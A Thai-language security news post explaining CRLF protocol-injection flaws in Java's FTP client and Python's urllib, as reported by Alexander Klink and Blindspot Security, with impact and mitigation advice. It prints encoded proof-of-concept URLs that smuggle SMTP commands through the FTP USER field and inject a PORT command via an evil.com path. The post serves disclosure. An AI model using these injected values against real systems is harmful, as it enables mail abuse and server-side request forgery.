พบช่องโหว่ Protocol Injection ใน Java/Python FTP
โดยปกติการรับส่งข้อมูลใน FTP Protocol จะใช้ในการเชื่อมต่อเพื่อใช้งานส่งและรับไฟล์ได้ แต่เมื่อมีการแปล (Parsing) ข้อความที่ได้รับผิดพลาด ก็ทำให้การทำงานของ Server และ Client ที่เป็น Java/Python เกิดเป็นช่องโหว่ขึ้นมาได้
เริ่มแรกนาย Alexander Klink พบว่าหากมีการเชื่อมต่อ FTP (เช่น ftp://user:password@host:port/file.ext เป็นต้น) ไปยังเครื่อง Java Server ซึ่งเมื่อเห็นเป็น FTP Protocol จึงมีการใช้งาน sun.net.ftp.impl.FtpClient เป็นตัวเริ่มจัดการ connection โดยเมื่อ Client พบว่าเชื่อมต่อได้สำเร็จก็จะส่ง USER Command เพื่อระบุ user สำหรับการเข้าสู่ระบบต่อไป
ทีนี้นาย Klink พบว่า JRE ดังกล่าวไม่ได้มีการจัดการค่า input จาก user ที่ดีพอ ทำให้เมื่อใส่ค่า <%0D%0A> หรือก็คือ <CR><LF> ซึ่งหมายถึงการขึ้นบันทัดใหม่เข้าไป กลายเป็นว่าสามารถจะหยุดคำสั่ง USER แล้วใส่คำสั่งต่อไปได้เลย
ทีนี้นาย Klink จึงได้ทดสอบติดต่อ (telnet) ไปยัง Mail Server ที่เป็น Java และได้ทำการส่งคำสั่ง USER ด้วยค่าเป็น
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
ftp://a%0D%0A EHLO%20a%0D%0A MAIL%20FROM%3A%3Ca%40example.org%3E%0D%0A RCPT%20TO%3A%3Calech%40alech.de%3E%0D%0A DATA%0D%0A From%3A%20a%40example.org%0A To%3A%20alech%40alech.de%0A Subject%3A%20test%0A %0A test!%0A %0D%0A .%0D%0A QUIT%0D%0A :a@shiftordie.de:25/a |
หรือเมื่อถูกตีความแล้วจะกลายเป็น
1 2 3 4 5 6 7 8 9 10 11 12 |
USER a<CR><LF> EHLO a<CR><LF> MAIL FROM:<a@example.org><CR><LF> RCPT TO:<alech@alech.de><CR><LF> DATA<CR><LF> From: a@example.org<LF> To: alech@alech.de<LF> Subject: test<LF> <LF> test!<LF><CR><LF> .<CR><LF> QUIT<CR><LF> |
เมื่อ Mail Server ได้รับจะตอบกลับมาว่า
1 |
sun.net.ftp.FtpLoginException: Invalid username/password |
แต่เมื่อตรวจสอบ พบว่า Mail ได้ถูกส่งออกไปแล้ว บ่งบอกถึงการ inject Command ของ SMTP ผ่าน FTP Handlering อย่าง sun.net.ftp.impl.FtpClient ได้สำเร็จ
FTP Client ของ Java ก็ไม่ปลอดภัยเช่นกัน
หลังจากการพบช่องโหว่ของ Klink ทาง Blindspot Security ได้มีการนำเสนอเพิ่มเติมว่าเป็นผู้ที่พบช่องโหว่นี้ก่อนตั้งแต่ช่วงเดือนพฤศจิกายน 2016 ที่ผ่านมาอีกทั้งยังทดสอบกับ FTP Client อีกด้วย
โดยพบว่าหากมีการเปิด URL ของ FTP URL (เช่น ftp://u:p@evil.com/foodir:1337 เป็นต้น) จะเริ่มทำงานปกติของ FTP ซึ่งก็คือการทำงานแบบรอทำงานทีละคำสั่งแล้วก็รอ response ของคำสั่งนั้นๆไปเรื่อยๆ ทีนี้ด้วย FTP Client ที่เป็น Java และ Python(ใช้ urllib ในการอ่าน URL) หากเข้าไปยัง ftp://u:p@evil.com/foodir%0APORT%2010,1,1,1,5,57/z.txt จะกลายเป็นว่ามองการเชื่อมต่อเป็น
1 2 3 4 5 6 7 8 9 10 11 |
--Packet 1-- USER u --Packet 2-- PASS p --Packet 3-- TYPE I --Packet 4-- CWD foodir PORT 10,1,1,1,5,57 --Packet 5-- ... |
จะเห็นว่าเป็นการส่ง 2 command (CWD, PORT) เข้าไปใน Write(2) ที่ถูกเรียกโดย Java/Python ทำให้เกิดการทำงานที่ผิดพลาด กลายเป็นว่า Attacker สามารถกำหนดการสร้าง Connection ใหม่ไปยังจุดหมายที่กำหนดได้หากกำหนด path ที่ยาวมากพอ นั่นหมายความว่า Attacker จะสามารถทำ SSRF(Server Side Request Forgery) ไปยัง FTP Client ที่เป็น Java/Python ได้นั่นเอง
ทาง Blindspot Security ได้มีการแจ้งไปยัง Oracle และ Python เพื่อออก patch มาแล้วครับ โดยตอนนี้ยังไม่มีการออก patch แต่อย่างใดครับ
ระบบที่ได้รับผลกระทบ: Server/FTP Client Java/Python
ผลกระทบ: Server Side Request Forgery/XML eXternal Entity
วิธีการแก้ไข:
- หากเป็น Firewall ที่มีการเปิด FTP Server ของภายนอก แนะนำให้ทำการปิด
- ทดสอบ Java Application ว่ามีช่องโหว่หรือไม่ หากเป็นไปได้แนะนำให้ใช้ Next Generation Firewall สร้าง custom signature เพื่อป้องกันการใข้งาน invalid protocol
- ยกเลิกการใช้งาน Java FTP Client จนกว่าจะมีการออก patch update จาก Oracle
Source:: Blindspot Security